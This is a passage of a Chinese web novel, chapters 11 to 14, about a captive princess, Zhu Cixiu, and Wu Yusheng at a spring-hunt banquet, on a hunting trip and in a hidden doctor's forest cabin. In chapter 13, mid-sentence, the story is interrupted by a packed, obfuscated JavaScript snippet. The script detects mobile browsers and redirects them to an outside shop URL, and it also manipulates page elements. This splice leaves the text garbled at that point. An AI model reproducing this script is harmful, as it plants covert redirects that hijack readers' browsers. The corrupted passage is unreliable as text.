春狩前宴的主要目的便是安排人手布置春狩之地。今年的春狩之地赤格鲁草原乃是天然的狩猎之所,并不需要多加准备些什么,只是地方太大,需要多加一些护卫,是以并不需要太多时间准备。 十日绰绰有余。 乌图勒将正事说完后,宴席便开始了。 朱辞秋看着与她穿着同一件衣裳的舞女在中间跳着南夏之舞,看着乌玉胜前头一盘接一盘的肉,一点食欲都没有。 但忽然乌玉胜侧头看了她一眼,从怀中掏出一件东西递给她。 她没有接过,只抬起头看了一眼他。 两人就这么保持这样的姿势,直到有人来找乌玉胜,她才略带慌张地夺走他手中的东西。 11. 第十一话 来者似乎喝的有点多,他满脸通红地歪着身子看向乌玉胜身后的朱辞秋。 朱辞秋能感觉到自己在将他手中的东西夺走后,他似乎放松了一下身子,但又很快将她遮挡住。 乌玉胜并未说话,只是端起酒杯与来者低下来的杯子轻轻碰了一下。 来者似乎想再看一眼朱辞秋,却被她面前的乌玉胜挡住视线。 似乎也是碍于方才他的那句话,让场上的众人都不再挑衅接近她,但仍有许多不善的视线从四面八方而来。 朱辞秋不受其扰,她背脊挺直,手中抓着乌玉胜给她的东西,低头仔细地看着。 一个油纸包,她捏了捏,里头似乎是糕点。 自从来到南夏,她就没吃过糕点。因为南夏并不盛产此物,不知乌玉胜怎么搞到的。 她抬起头,看着渐晚的天,燃起的火把,还有越发活络的人群,复又看了眼手中的松露糕。 若是在大雍,她倒是可以用宽大的衣袖遮住其他人的视线悄悄打开油纸包,但南夏这衣裳,实在不适合偷偷打开。好在乌玉胜挡在她前头,她抽走麻绳,看见了里头的糕点。 是松露酥。她在大雍私下最喜欢吃的一样东西。 朱辞秋不由得看了眼乌玉胜的背影,后者倒是正襟危坐如常,就好像这只是他随手抛出的玩意儿,拿来逗她一般。她眼中神情变幻莫测,心中亦不知是何滋味。 她怔怔地看了一会后,把手中的油纸重新包好,又将它揣在自己怀中。 待天彻底黑下去后,舞女行礼退下。守卫们抬上四个大圆盘,上头支着许多竖立的柴火,周遭用铁质的围栏半拦住。等守卫用手中火把点燃一处后篝火渐渐燃至顶端,照亮了空旷之地。 篝火在南夏寓意吉祥、欢乐以及净化人的污秽。 朱辞秋偏着头看向那跳动燃烧的篝火,忽然从一旁窜出十余名戴着诡异面具穿着奇怪衣裳的人,他们围着四处篝火,挥舞着手中挂着四五缕彩色飘带的木头权杖,口中还振振有词地念着她听不懂的话。 似是南夏巫师。 待舞过一段后,他们不知从何处变出木瓢,面对席位上的众人,跳动着将木瓢中的净水洒在所有人身上。 这还是她第一次看见这样的仪式。 “驱邪除晦,他们在为今年的丰收与和平所祈祷。” 乌玉胜坐在前头,忽然小声开口。 朱辞秋听见后沉默一瞬,随即便道:“原来这便是南夏祝歌。” 早前她在山门关时,曾听驻守老将提过一嘴。 大约是二十四年前,尚且年轻的乌图勒曾亲征至大雍国门,那时大雍的国门并非山门关,而是寒城,那是长邑十三州的第一州,气候严寒多变,与南夏毗邻。 当年乌图勒屡屡在开战之前,让他们跳一支奇怪的舞,并且还伴有彻夜不灭的篝火。穆老将军那时也正值壮年,他在阵前喊话乌图勒,问那是何舞,舞为何意。 老将回忆说,年轻的乌图勒异域又邪性,他那时的中原话还并不熟练,磕磕绊绊地笑着对穆老将军说:“南夏祝歌,祈国和平。” 而穆老将军听后挥舞着手中长枪奔向乌图勒,大笑道:“你祈和平,却又举国之全力来攻我大雍土地,这样岂非与你之愿相悖?” 朱辞秋曾问老将,乌图勒回答了什么,但老将说那时已经开战,乌图勒也就无心再回答穆老将军的话了。 收起回忆后,她抬起头看向王座,看向那个如今年近半百的乌图勒,轻声吐出一句话:“你说他当时,有想回答吗?” 乌玉胜转过头,似有疑惑。火焰在他背后燃烧,嘈杂的声音与噼里啪啦燃烧着的柴火是她如今能听清的声音,好像就如周围与她不同样貌与脾性的人将她包围一般。 而乌玉胜与她,是这环境中,最异类的存在。在他身上,她看不见半点关于南夏的习惯,就连穿着南夏衣裳,看起来都像是大雍人。 该说他是因为在大雍潜伏七年改了习性变了样貌,还是因为其他的什么原因本就是这样的,朱辞秋对此一直怀有一个疑问。 “你跟你妹妹,长得很不像。”除了眼睛。她这样说着,面前的男人微微挑眉,不置可否。 朱辞秋看着他毫无波澜平静的双眼,笑道:“我曾查了很久,都查不到你母亲是何许人也。你不让我见你妹妹,是怕她被我引诱说出你母亲的身份吗?” “殿下如今竟还有闲心揣测我的事。”乌玉胜看着她愣怔一会后,开口道,“你该想想春狩时我会如何阻挠,该提前防备我才好。” 她微微一笑,面上说着:“小少主提醒的是。” 待巫师一伙舞过后,这场前宴便结束了。 朱辞秋身侧再次多了那两名守卫,她抬眼望了两眼。每回从帐中出来跟在她身后的,都是他俩。 她站起身,正欲往回走。 乌玉胜却在她身后平静地说道:“松露糕,记得吃。” 她脚步一顿,难得地想起从前在面对乌玉胜时,究竟是怎样的心情与态度。她转过头,带着一丝真切的笑容,只说了两个字。 “多谢。” 这两个字包含了她此时身在南夏,对他仅有的,真切的真诚的谢意。除此之外,再无其他。 朱辞秋说完后,头也不回地走了。看不见身后乌玉胜会是什么表情,也不知道他心中会如何想。 本想着快点回寝帐将身上衣物卸下,去掉这辱人的枷锁,却不料半路遇见了乌玉阙。 他站在黑暗中,朝她吹了声哨子。 身旁守卫立马警觉,朱辞秋只看向声音来源,冷笑一声。 “怀宁殿下,”乌玉阙瞪了眼那两名守卫,朝她走了过来,十分忿忿不平,“我只得了一半护卫之权。” 朱辞秋也朝他走了两步,在他耳边用只有两人听见的声音说道:“你从前,一半都没有。这是突破,不是吗?” “你分明说的是领主会给我护卫之权。”乌玉阙学着她的动作,咬牙切齿道。 朱辞秋淡淡一笑:“我是说过,可我没说过他会许你全部护卫之权。” “狡猾的大雍人!” “我做到了,大少主也该履行你的承诺。”她看向训练场的方向,沉默一瞬后,继续道,“将那些被挂着的头颅,替我安葬了。” 乌玉阙低头看着她,眼中冒出狡猾的光,恶劣地笑着:“既然我只得了一半权力,那我也只履行我的一半承诺。我会替你安葬好一半的人头,至于另一半,就要等何时我拿到全部权力了。” 朱辞秋抬头与他对视,“大少主学得真快。” “过奖了殿下。” 她踮起脚,在他耳侧小声道:“回转丹的解药,在你去赤格 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朱辞秋被推着入了里间,她扭头看了一眼闷头坐在凳子上的乌纳兰,大声问道:“公主要带我去何处?” “带你去送死!”乌纳兰恶狠狠地说了句,随后又嘟嘟囔囔补充道,“王兄跟阿爹说,要你今日去赤格鲁草原助他寻狩。” “寻狩?” “你这都不知道?!赤格鲁那么大,你以为那些猎物全都会在一个地方扎堆吗?自然是要将分散的不同的猎物,分类归拢赶到不同的狩猎场。” 朱辞秋只知道春狩,并不知道还有寻狩这一项。那这十日,真的够吗? “你阿爹同意了?”她问道。 乌纳兰冷哼一声,“你这俘虏,又是王兄的奴隶,他自然会让你去助王兄。” “可我不会寻狩。” “所以我说你是去送死的。”乌纳兰站起身,不耐烦道:“好了没?” “好了!” 里头侍女急急忙忙地给她换了一身轻便短袍,将她推了出去。 “这次你可别想耍诈!”乌纳兰盯着她,将腰间的鞭子拿起指向她,又指了指她身后的侍女,“她们可是母赫族出身,武功比有些士兵都要高出不少,别想给我耍花招!” 说罢,她又被两名侍女一边拽着一个胳膊往外走去。 她又被她们盯着骑上了一匹其貌不扬的马,乌纳兰的红棕马在前头耀武扬威,她跟在她身后往王帐之外而去。 朱辞秋的骑术只能说够用,比不过在草原上长大的乌纳兰与那两名侍女,她实在是跟不上她们的步伐,想要停下来喘口气。 赤格鲁太远了,她自己得跑一天才能到。 但乌纳兰可不喜欢等人,也十分没有耐心,到了最后她实在没耐心的时候,她便命那两名侍女一人驮着她一次,终于在当日傍晚跟在乌玉胜身后到了赤格鲁驻扎之地。 朱辞秋被拽着下马,站稳后一眼便看见辽阔的草原上,乌玉胜指挥着战士与守卫在驻扎之地搬运东西。 夕阳西下,草原初春的风景也别有一番风味。 “你不会喜欢我王兄吧?” 她又看见乌纳兰挡在她面前,嘲讽又疑问地开口。 12. 第十二话 远处金红色的晚霞与刚冒出绿意的草原相交,辽阔的土地与天空一眼望不到尽头。驻扎之地的守卫牵着马匹往前走着,似乎就要走进落日的尽头。 这样盛开的,自由又旷意的风景,朱辞秋从未在大雍看见过。大雍的燕京,雕梁画栋的亭台楼阁如山一般的多,挡住了自然天地。 不过她在山门关的两年,曾在清晨无薄雾时,站上高耸的城墙,看见过在荒野之上,初升的太阳从天与地的间隙中冒出来。 自从来了南夏后,她就一直被关在王帐内看不见天日,自此星辰日落都与她无关。 “我喜欢落霞。” 朱辞秋扭头朝乌纳兰的笑了下,随口一说。 少女张着嘴,似乎不知该说些什么,于是便冷哼一声,朝乌玉胜奔去。 在王帐是两名守卫一左一右守着她,如今又变成了这两名母赫族的侍女。她一面揉着酸痛的手腕,一面看向其中一名侍女的交叠在腹前的双手。 粗糙厚重,果然是常年习武之人的手。 朱辞秋默不作声地看了几眼,便走向驻扎之地,在看见乌玉胜斜眼瞥了眼她后,她又停在原地。 乌玉胜拍了拍面前亲妹妹的肩膀,面无表情让乌纳兰回王帐,但乌纳兰却不愿回去。 “我回去干嘛?过几日还不是要来此处,所以不如就今日在这住下。”乌纳兰双手环胸,哼哼道。 乌玉胜像是也懒得管她,指了一处安扎好的营帐,道:“你住此处,无事别出来乱跑。” 乌纳兰答:“知道了。” 身旁那两名侍女见自家公主朝她们招了招手,便离开了她身侧,与乌纳兰一同往公主营帐所去。 朱辞秋看着远去的乌纳兰,又略微环顾四周。此处的营帐尚未安扎完,四处有许多生活之物,被整齐地摆放在地上,身旁的守卫有条不紊的收拾着驻地,就像看不见站在这里的她一样。 而乌玉胜在送走乌纳兰后,也并未看她。他背对着她,平静地说道:“跟我来。” 朱辞秋沉默地跟在他身后,绕过几处营帐,到了里侧的一处地方。 她抬眼看向前面。这里的营帐要比王帐的小许多,帘帐做工也不似王帐那般厚重,轻得仿佛风一吹便能掀开。 乌玉胜掀开帘帐,率先入内。她跟在他身后入内后,发现里头只够放下一张床,一架挂衣裳的木架子,还有供一人吃饭的四方长矮桌与木凳。 “此处是殿下春狩时的住所。”乌玉胜沉默一会后,站在她面前开口。 她点点头,坐在木凳上给自己倒了一杯水。 “你住哪里?” 听见她忽然发问,面前的男人明显一愣,但很快他便低着头看向她,神情愈发冷漠:“殿下问这做什么?” 朱辞秋勾了一下唇,说道:“这附近僻静异常,并无守卫。你不怕我跑了?” 乌玉胜弯下腰,凑近道:“殿下不会跑。” “况且我的人也非王帐的那群人可比,就算殿下想跑,不出半个时辰,我便能找到殿下。” 她与他对上视线,“你就不怕我与你的族人勾结,毁你前途?” “殿下,别把南夏所有人都当作乌玉阙,”乌玉胜面露阴鸷,冷笑一声,“他蠢,所以才会为权力与殿下合作。” “所以殿下,莫要再做无用功。你只要在这帐内安静地待着,自然不会看见任何守卫。” “明日卯时,随我寻狩。” 他直起身,说完最后一句话后便大步流星地走了出去,朱辞秋顺着他离去的背影看去,在掀开的帘帐露出的缝隙间,看见有人端着饭菜朝她而来。 守卫面无表情地将饭菜放在桌上,又快速地退了出去。 她看着桌上的饭菜,从里衣口袋中掏出回转丹的解药,将它捏碎放在盛满面汤的碗中。 然后便端起面汤碗,一饮而尽。 陌生拥挤的环境让朱辞秋无法快速入眠,直到临近三更天时,她才堪堪睡着,但也睡得并不安稳。 坚硬的木板床让她想起了母后尚未离世时,她因弹错一个音、跳错一个舞,或是写错字下错棋,被关入的密室。 太黑了,她在梦中一遍又一遍重复着当年的场景,就好像这是她这辈子都走不出去的阴霾。 她猛然睁眼,躺在床上平复了一下心情后便下了床,走到矮桌边拿起茶碗给自己倒了一口白水。 过了一会,昨日的那两名侍女便带着两件衣裳入内,放在她床边,其中一人平静又冷漠道:“小少主有令,让你换好衣衫后去西侧马厩找他。” 朱辞秋随便选了一件短袍换上,又用衣裳底下的发绳绑好头发后踏出帐门。 外头天蒙蒙亮,带着浓重的青草与露珠的气息,周围安静非常,她只能听见自己的双脚踏在地上,青草被碾轧入土的细微声音。 乌玉胜站在马厩大门前拉着两匹马,见她来了之后便用手拽起缰绳,将其中一匹马往前一拉。 她接过了他手中的马,跟在他身后上马并朝驻扎之地外的空旷之所奔去。 天光渐亮,朝阳洒在草原上,洒在朱辞秋身上。她抬起头看向前方,驾马的速度越来越缓。 薄雾被阳光缓缓驱散,远处的天光照亮身后的黑暗,乌玉胜驾着马,背影在朝阳下奔驰。 他忽然停下来,拽着缰绳转过马身,整个人都被包围在日出之中。 “殿下停下做什么?”乌玉胜大声问道。 朱辞秋怔了一瞬,双腿打马缓缓朝他而去,“如此好的朝阳,若不仔细欣赏一番,岂不可惜?” 乌玉胜见她跟上来后便再次调转马身,冷漠的话语随着风飘入她耳中:“风光无限,但无甚新奇。” 朱辞秋没再理他,只沉默地跟在他身后到了目的地。 这地方太大了,大到她看不到边界。前面是四季常青的云杉树连片,仿佛茂密森林般望不到头,身后则是平坦又能看见远处山峰的草原,前面还有流淌横断在中间的河流。 那河流将两地分隔,她如今就隔着河岸在看着对面的云杉树林。 她与乌玉胜翻身下马,将马拴在最近的云杉树上后,乌玉胜拿下马上挂着的云箭袋,然后便带着她往云杉树林而去。 里头枝繁叶茂不似初春,树与树之间几乎没有间隙,只有几条曲折小路能够通行。 脚踩在掉落的枝丫与落叶上,发出“咔呲”的声音,两人的动作并不轻,很快便惊扰了一片飞鸟。 乌玉胜忽然抬头,停在原地。 他伸手架起弓箭,用 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乌玉胜也瞧了她一眼,与她擦肩而过往前继续走,“它是落单的。” 她缓步跟上前,再次沉默着跟在他身后走了两刻钟,却再也未曾见到任何一只野物。 等走到一处路上多石头的路时,她暗自把步子加快,将自己与乌玉胜的距离拉近,问道:“你将我带至此地,是做什么用?” 乌玉胜用手中弓箭拨开树枝,看也不看她,一面在前头走着,一面冷漠道:“当诱饵。” “如何诱?让我这血肉之躯立在原地引它们上钩?” “还要辛苦殿下流点血,血腥之气才能勾引它们。” “那你为何还要一直往前走?何不趁机将我划伤流血在地引它们前来。是怕我失血过多而死吗小少主?” “此处没有野物。” 朱辞秋闻言,忽然停在原地,蹲下身捡起一块石头,乌玉胜似有所感地转过头,她猛地伸出手将石头砸向他。 乌玉胜到底是习武之人,迅速地躲过那块石头,并迅速上前拽住她的胳膊,眼中又泛起阴狠的光。 她抬起头,眼中的嘲讽之意将面前的男人彻底激怒,她却粲然一笑:“你我就算长十只手都不能将猎物分类赶到狩猎场。” “你将我带至此处,究竟是要做什么?”她眼神一凛,敛起笑容,昔日守镇嫡公主的威严再次显露,“你要带我去何处?” 乌玉胜也毫不气弱,他将她推至最近的树干处,宽大粗糙的手掌禁锢着她的双手,让她双臂高举。 “果然稍有不慎,便会上殿下的当。” 朱辞秋被禁锢的手腕被磕在粗糙的树皮上,引得她一阵刺痛,她微微皱眉,挣扎了一下后抬起头看向乌玉胜,笑着道:“被我说中了。” 乌玉胜紧紧盯着她,像是不愿放过她脸上一丝一毫的神情。 他忽然松开了手,后退一步。 朱辞秋不信他会这么轻易放弃,果然当她离开树干的那一瞬间,她只听见一声急促的风声,乌玉胜的手掌砍向她的脖颈后侧。 她彻底失去了知觉。 等她再醒来的时候,发现自己如今是在一间木屋中。 13. 第十三话 这间木屋看起来年代有些久远,屋内到处都堆放着生活用具,朱辞秋躺的地方正对一扇木窗,她能从被支起的木窗口看见外头葱郁的云杉树林。 窗下摆放着木桌,上头堆满了竹简与书。 朱辞秋看着窗外一会,又侧过头看见不远处的火炉旁,摆着一个摇椅。她坐起身,揉了揉脖颈,见摇椅上头躺着一位满头花白的老者。 似是听见木床吱呀作响的声音,那假寐的老人一下便睁开眼,扭过身子看向她。 是大雍人。 老者看着她,摸了摸花白的胡须,和蔼道:“你醒啦?” 朱辞秋沉默不言,只是略带警惕地环顾四周。她看见对面角落里堆放的木柴与麻袋,又看着老人身上的粗布衣裳,最后直起身子往那木桌上看了两眼,上头似乎还有残存的药渣。 但她不精通医术,并不确定。 等她警惕着下床,走近老人时,闻到他身上有一股浓重的药味,像是常年泡在药房煮药一般,被熏入味了。 老者笑眯眯地看着她,似乎瞧出了她的警惕,主动开口:“别紧张小姑娘,老朽只是个喜欢在深山老林中躲清闲的大夫罢了。” “老人家,”朱辞秋走向门口,出声问道,“这里算是深山老林吗?” 老者笑道:“此处名作云岭山,如今南夏人一般只在靠近弥漯河的附近活动,绝不会往深处来,如此,怎么不算呢?” “为何?” “那自然是老朽的手段。” 朱辞秋闻言看了一眼老者,她搬过凳子坐在一旁,看着火上挂着炉子,问道:“乌玉胜怎会知道你在此地?” 老者依旧笑着:“这是机缘,说不得。” “他人呢?” “去给老朽抓野物做口粮咯,他正好以此换诊金。”老者躺在摇椅上,一下又一下地摇着,看起来惬意十足,“那小子一声招呼不打,就要老朽治你受损的手伤,我得要点报酬。” 朱辞秋一愣,她低头看了眼自己的右手,有些不确定地开口:“手?” “我方才瞧了两眼,你那手被利器贯穿又医治得不妥当,如今怕是稍微使力都会疼痛难耐吧?”老者略微抬起头,用手指了指她的右手,“这种伤,若不及时医治,后头就算再如何治,都不会好得很彻底。但老朽可是——” 朱辞秋并没有让他将话说完。她攥紧右手,蹭的一下站起来,冷笑一声:“我不治。” 老者一愣,正要说话时,忽然木门从外头被撞开,乌玉胜双手各拎着两只野兔,他面色阴翳地盯着朱辞秋,将那四只兔子扔在老者脚下。老者先是看了眼兔子,又看了眼朱辞秋,最后看向乌玉胜。 他了然地笑了两声,站起身走向乌玉胜,拍了拍他的肩膀后留下一句:“诊金老朽可就收下了,不过你们俩还是好好商量到底治不治吧!” 然后便出了门,还贴心地将门给他们关上。 朱辞秋眼底的寒光再也藏不住,她直勾勾地盯着乌玉胜,发出一阵笑声,却并不悦耳,她走至门口,在他身旁停下,语气冰寒刺骨:“我的事,轮不到小少主插手。” 正要继续往前走开门,却被乌玉胜拽住胳膊。她动也不动,只冷漠地吐出两个字:“放手。” 乌玉胜也不动,两人就这般僵持在原地。 周围安静的她只能听得见自己与乌玉胜的呼吸声,气氛越发凝固,就好像呼吸都停滞一般。 她猛地甩开乌玉胜的手,想要打开门走出去,却被后者再次拉住,他将她拽了回去,并堵在门口。 乌玉胜神情凶恶又严肃,他用另一只手拉住她的右手手腕,举在她面前,压着怒气质问:“殿下为何不治?” 朱辞秋抬起头,眼神比往日都要冰冷无情,甚至带上了厌恶。她笑出声,“你让我治,我便要治?” “况且,那日我只是随口一说,你为何便能断定我的右手,是真的有伤?” 乌玉胜低垂着眼,似乎不愿多言,随即他便再次抬眼,恢复了往常的表情,“殿下别忘了,在这里,是我说了算。殿下不愿治也得治,有没有伤,那老头一眼便知。” 她挣脱几下,却被乌玉胜更加用力地握住手腕,于是她便低头看向那裸露的宽大的手背,一口咬了上去。 那是她此生用过的最大的力道,但乌玉胜仍然抓着她的手腕不肯松手,就连鲜血被她咬了出来,顺着手背滴在地上他都没有一丝颤抖。 朱辞秋烦了,觉得没劲,便松了口看向被她咬出一排血印的手背,轻声道:“乌玉胜,我不想治。” 乌玉胜似乎对她突然软下来的语气感到惊讶,禁锢着她手腕的手松了一瞬,但很快便又握紧。他用原先拉住她胳膊的手捏住她的下巴,强迫她抬起头看向他。 “别想耍花招,殿下。” 朱辞秋脸上露出觉得他好可笑的神情,她望向他,嘴角又扯出一丝自嘲的笑容:“乌玉胜,这是第十一年了。可你还是不了解我。” 乌玉胜一怔,脱口而出:“我是最了解殿下的人。” “不,”她笑着,眼里的嘲讽不知是对他还是对自己,“我从不觉得弹不了琴,下不了棋是一件十分痛苦的事情,恰恰相反,当我知晓我再也不能弹琴时,我很高兴。” “因为我解脱了。” 她看着面前男人因为这句话而呆愣的神情,继续道:“我从不喜什么琴棋书画诗词歌赋,我所学的每一样东西,我都厌恶至极。什么大雍第一才女,那只不过是他们在失去了心爱的儿子后强加在我身上的冠冕,为了那所谓的继承皇室荣耀,让我被困在糜烂阴影之中一日又一日。” “今日我未曾猜出你的意图,是因为我了解你,所以觉得你不会干这般蠢又无用的事。不过这次你倒是真出乎我的预料,只单凭我的一句话,便带我来此治伤,该说你是想让我继续为你的族人献艺羞辱我,还是仍旧对我情根深种不愿见我受伤呢?” 乌玉胜沉默着,良久,他松开了手,却又按住她的肩膀,眼中的偏执不减反增,“殿下,有伤不治,伤口是会生脓溃烂的。” “为何要选择一直被困在阴影糜烂之下?”他擦掉她嘴角的血渍,“殿下感觉不到痛吗?若殿下不愿迈出,那我便替殿下将恶脓连同腐肉一并除尽,好叫殿下不再痛苦。” “这几日,殿下便待在此处吧。” 朱辞秋忽然笑了,“原来这才是你真正目的啊,乌玉胜。为彻底阻断我与乌玉阙在春狩前接触,特意将我诓骗至此。” 乌玉胜没有说话,他只是注视着她许久后忽然扯了扯嘴角,露出轻蔑的笑容。 他缓缓松了手,打开门走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438440|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。 朱辞秋见他出去后如脱力般坐在身后的凳子上,低头怔怔地看向自己的右手。 被捅穿的掌心怎么会不痛呢。骑马拉缰绳的会痛、被人拽着按掌心的时候会痛、用手端着茶碗端久了会痛,就连攥住手心的时候,也会感到痛意。 她对乌玉胜所说的每一句话,都是真的。唯有一句未曾说出口,她感受这些带给她屈辱的痛意,是要这些痛意时刻提醒着她,南夏人与她不共戴天,她不能心软亦不能失去理智。 老者端着一碗药缓缓走了进来,见她这模样,乐呵呵地说了句:“看来小两口聊得不是很愉快啊!” 朱辞秋沉默地看了眼老者,不想理他。 “小姑娘,年纪轻轻戾气可不要跟乌玉胜那小子一样重哦!”老者将手中的药碗递给她,“我们当大夫的,自然是先尊重伤者的意见,你若实在不愿治,我便不治了。” 她抬起头,看了眼老者,又看了眼药碗,道:“那你这是何意?” “这可不是治你手上伤的,”老者坐在一旁,脸上仿佛永远都是笑呵呵的,“你心中郁气太重,得先喝碗静心安神的凉药,不然很容易早死的!” 朱辞秋沉默一瞬,还是端过了药碗,低头喝了一口,便道:“苦。” “正所谓良药苦口,这可是老朽独家秘方,天下只此一份!” 她听见这话喝药的动作略微一顿,心中稍疑。她又抬头看向老者,忽然轻声问道:“不知您贵姓?” 老者仿佛觉得这安神药果然有用,他赞许地看了眼软了脾气的朱辞秋,道:“无名小卒罢了,哪里算得上贵姓。老朽姓杜,你就叫老朽杜大夫吧!” 朱辞秋心中略有些猜测,但此刻并非证实的时候,她喝完药站起身,在门口张望了一下。 “他走了?” “没有呢,我叫他去隔壁柴房帮老朽劈柴静静心。”杜大夫道。 她将门关好,并插上木梢。 “杜大夫,我身中一毒,此毒我想解。”她坐回原地,向杜大夫伸出手,“却不知您可否能解?” 杜大夫一愣,他一手摸着胡须一手把脉,半炷香后他放开手,盯着她道:“回转丹毒性太怪,老朽需要拿到回转丹的原料,才能有把握制成解药。” “不过,”杜大夫话锋一转,“这般麻烦的事情我向来不愿沾身,所以就算有原料,老朽也不想帮你。” 朱辞秋收回手,道:“医者仁心,杜大夫忍心见我痛苦而死?” 杜大夫笑道:“老朽若有仁心,便不会在这,合该去那外界悬壶济世去了。再者说,你与南夏的纠葛牵扯太深,老朽可不想蹚浑水。” 朱辞秋挑眉:“你知道我的身份?” “老朽好歹活了些岁月,不是睁眼瞎。”杜大夫捋了捋胡须,摆手道,“所以老朽不接。” “你徒弟是不是叫杜与惟。” 一句话,让杜大夫的手一顿,猛地看向朱辞秋,眼中的惊异随之转为警惕,他看了眼门外,又看了眼她。 不等杜大夫自己承认,她便知道此事确切无疑了。 她笑道:“怪不得他在南夏境内修木屋无人发现,原来如此。” “我若将他行踪告知给乌图勒,说他有绝世医术,能使人长生不老。你猜他会是什么下场?” 14. 第十四话 不料杜大夫听见此话后反而放下戒心,重新躺回摇椅,闭眼摆手道:“你若告诉乌图勒老朽那徒弟会长生之术,想必他就算被抓了,也暂时没有生命危险。” 朱辞秋微微皱眉:“你不怕他被抓了,便再也回不去大雍?” “虽说他是有点单纯,但也不至于太过愚笨。况且老朽与在外头劈柴那小子早已有约,我替他疗伤,他替我关照我徒弟。” 朱辞秋凑到他跟前,迅速问道:“疗伤,什么伤?” 杜大夫似乎觉得说漏了什么,他睁开一只眼,岔开话题:“你这女娃,求人办事便是这副态度吗?” “这样吧,你若想解毒,”杜大夫坐起身,朝她招招手,小声道:“听闻你们那太医院新得了西洋参,老朽不要多了,只要三根。” 他用手指比了个三,朝她眨巴眨巴眼。 朱辞秋注视着杜大夫的手,沉默一会后,平静道:“待我归国,许你五根。” 杜大夫一乐,笑眯眯地看着她,“成交!” “不过,”她也笑着看了眼杜大夫,说出下文,“若杜大夫告诉我这外头的机密,我便再许你五根西洋参,以及一支百年雪莲。” “那可是在极寒之地的雪山顶采得的,想必也是极为珍贵。” 果不其然,杜大夫登时两眼放光地看向她,嘴里不自觉说道:“老朽十几二十年没见过纯正雪莲了,你那雪莲可货真价实?” “那可是为医治先皇后,陛下特地命人偷渡到南夏采得的,自然货真价实。” “既然如此名贵,怕不好送给老朽吧?” “它如今在我私库中,左右与我无用,倒不如拿来与杜大夫做一笔交易。” 杜大夫长“嗯”了半天,最后“啧”了一声,猛地拍了拍大腿,咬牙道:“也罢!” “外头有老朽布的奇门遁甲,总共有五层,若不提前按照老朽设好的正确路线行走,来去都会困死在林中。” 朱辞秋有些惊讶地看向杜大夫,略有感叹道:“想不到你一介医师,竟还会这些?” 杜大夫自豪地摸了摸胡须,笑道:“人在江湖,计多不压身。老朽便来跟你讲讲这奇门遁甲之术。” 他走到木桌旁,拿出五张白纸,用笔在上头写写画画,将地形图简单勾画了一下后,便又把每一层的方位在图上标注出来,每层生门与死门总在出乎意料的地方,综合交替变幻多端,若稍有不慎走错一步,便会困死在林中。 画完之后,杜大夫将纸递给她,开始口若悬河地给她讲起了这阵的解。朱辞秋仔细地盯着图解,又毫不分神听着杜大夫告诉她的该如何走出去。 大约三刻钟后,杜大夫说得累了,在一旁给自己端了碗水喝,又问她听懂了没有。 朱辞秋点点头,又趁杜大夫喝水时默默地转过身将图解揣在自己怀中。 她缓缓走向门口,轻轻打开门,左右看了两眼。左边是敞开无门的厨房与药室,右边则是一间小小木屋,半掩着门。想必乌玉胜便是在那里头。 转身回到屋内,她一面跟杜大夫聊着些家常,说起她与杜与惟如何相遇的,来吸引他的注意力,一面在屋内左右环顾,装作不想坐在火炉旁到处闲逛。她低头看向自己的手,忽然问道:“不知可有现成的药来治我这手伤?” 杜大夫思索了一下,站起身往床边的柜子走去,他拿出一瓶伤药,道:“此药能缓解用力而导致的痛意,不过老朽还是建议姑娘早早医治了才好。” 朱辞秋默默看了几眼木柜里各式各样的药后伸手接过,道了一声谢,听见这话,又道:“你方才不还说尊重伤者意见吗?” 杜大夫诶了声,略有些不赞同:“难道你想一辈子痛下去啊?” 她并未说话,只是揉搓着手中的药瓶。 抬头看了眼窗外的天,又看向摇椅旁的兔子,朝杜大夫伸手,让他看着她手指向的方法,道:“我治,不过我们不如先吃饭,饭后再治。” 杜大夫拎起两只野兔,左右看了半天,“这兔子可真够肥的,老朽一人在这林中,什么活路没做过!” 他又看向朱辞秋,不乐意道:“但你可不能白吃,得出来给我打下手。” “我收拾一下就去。” “快点啊不准偷懒!”杜大夫走至门口朝她喊了一声,又朝仍在柴房处的乌玉胜喊道:“你小子劈了多少了!没劈满整间屋子不准出来!” 见杜大夫走出去后,朱辞秋关上木窗,来不及关门,只能轻声又快速地打开先前装满药的木柜,双眼迅速地扫视着自己所需要的药物。 但那老头什么都没标注,一堆瓶瓶罐罐胡乱摆放着,她忽然看见有用几张油纸包起来的小药包放在角落里,朱辞秋抬手拿出一包,上头写着几个龙飞凤舞的大字。 “销魂散。” 这,算是迷药吗? 朱辞秋先前曾在太医院见过一些迷药,那些迷药是粉末状的,想来这销魂散,就算不是迷药,也能把杜大夫的眼睛迷住片刻。 她拿走其中两包,一包揣在自己怀里,另一包,她从木桌上随意地抽出一本书,将它倒在书里夹好后握在手中,走了出去。 外头天还未黑,前面便是葱郁的树林,可供活动的地方就这么大点。朱辞秋看了眼右侧的柴房,思考着乌玉胜会不会发现自己的动作,却发现先前半掩着的门大开,里头空无一人。 她转头看向在厨房洗兔子的杜大夫,问道:“他人呢?” “砍树去了。”杜大夫随口说道,他抬头看向朱辞秋手中的书,用下巴点了点,“你在里头放什么药了?销魂散?” 朱辞秋心中咯噔一下,敛住心神自然开口:“只是觉得此书有趣,想仔细看看。” 杜大夫却毫不意外地笑了两声,“你这女娃,心思怪多的。老朽活了几十年,一辈子都泡在药里,我能闻不出来?” 他唉声叹气两下,看着在原地一动不动的她,又朝她摆摆手,“你以为老朽不知道你那点小心思?得了,你们小年轻的事老朽不想掺和,趁他现在还未回来,你赶紧走吧!” “你故意让他离开此地的?”朱辞秋走向杜大夫,心中一下了然,“为何帮我?” “打从你一开口,老朽便知道你想离开。”杜大夫停下手中动作,轻轻摇头,他看向乌玉胜离去砍树的方向,叹了一口气,“老朽并非帮你,是帮他。” “若他执意将你留在此处,估摸着你也会找机会溜走。倒不如让你自行离去,也让他自己好好想想。” 朱辞秋皱着眉,眼中充满了不理解,“想什么?” 然后又冷着脸道,“所以你骗了我十根西洋参还有一支雪莲。” 